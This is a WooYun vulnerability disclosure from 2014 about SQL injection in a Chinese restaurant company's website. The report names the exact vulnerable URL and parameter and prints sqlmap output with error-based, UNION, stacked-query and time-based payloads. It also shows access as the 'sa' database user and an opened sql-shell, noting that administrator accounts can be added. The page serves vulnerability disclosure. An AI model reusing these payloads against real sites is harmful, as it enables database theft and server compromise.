当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-054003

漏洞标题:味捷餐饮有限公司官网存在注入漏洞致服务器沦陷

相关厂商:400712312。com

漏洞作者: follow me

提交时间:2014-04-01 11:15

修复时间:2014-04-06 11:16

公开时间:2014-04-06 11:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-01: 细节已通知厂商并且等待厂商处理中
2014-04-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

味捷餐饮有限公司官网存在注入漏洞致服务器沦陷

详细说明:

http://www.4007123123.com/userhome/ajax/getaddressbase.aspx?cityid=1存在sql注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cityid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: cityid=1' AND 4512=CONVERT(INT,(CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+(SELECT (CASE WHEN (4512=4512) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58))) AND 'Vtfi'='Vtfi
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: cityid=1' UNION ALL SELECT NULL,CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+CHAR(89)+CHAR(82)+CHAR(109)+CHAR(72)+CHAR(85)+CHAR(71)+CHAR(88)+CHAR(73)+CHAR(65)+CHAR(87)+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=1' WAITFOR DELAY '0:0:5'--
---
[13:49:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005


用户 sa

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cityid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: cityid=1' AND 4512=CONVERT(INT,(CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+(SELECT (CASE WHEN (4512=4512) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58))) AND 'Vtfi'='Vtfi
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: cityid=1' UNION ALL SELECT NULL,CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+CHAR(89)+CHAR(82)+CHAR(109)+CHAR(72)+CHAR(85)+CHAR(71)+CHAR(88)+CHAR(73)+CHAR(65)+CHAR(87)+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=1' WAITFOR DELAY '0:0:5'--
---
[13:44:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[13:44:55] [INFO] fetching current user
current user: 'sa'


sql-shell下可添加服务器管理员用户:

[13:56:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[13:56:52] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell>


漏洞证明:

1.jpg


2.jpg


3.jpg


修复方案:

服务器沦陷原因:
1:存在sql注入,sa未降权,sqlserver运行在system权限下
尽快修复吧

版权声明:转载请注明来源 follow me@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-04-06 11:16

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-09 16:08 | follow me ( 路人 | Rank:4 漏洞数:2 | 可是大海还在那里。海里的鱼不会再爬上岸。...)

    这。。。。

  2. 2014-06-08 11:17 | 我来找快乐 ( 路人 | Rank:20 漏洞数:2 | 我来找快乐)

    。。。。。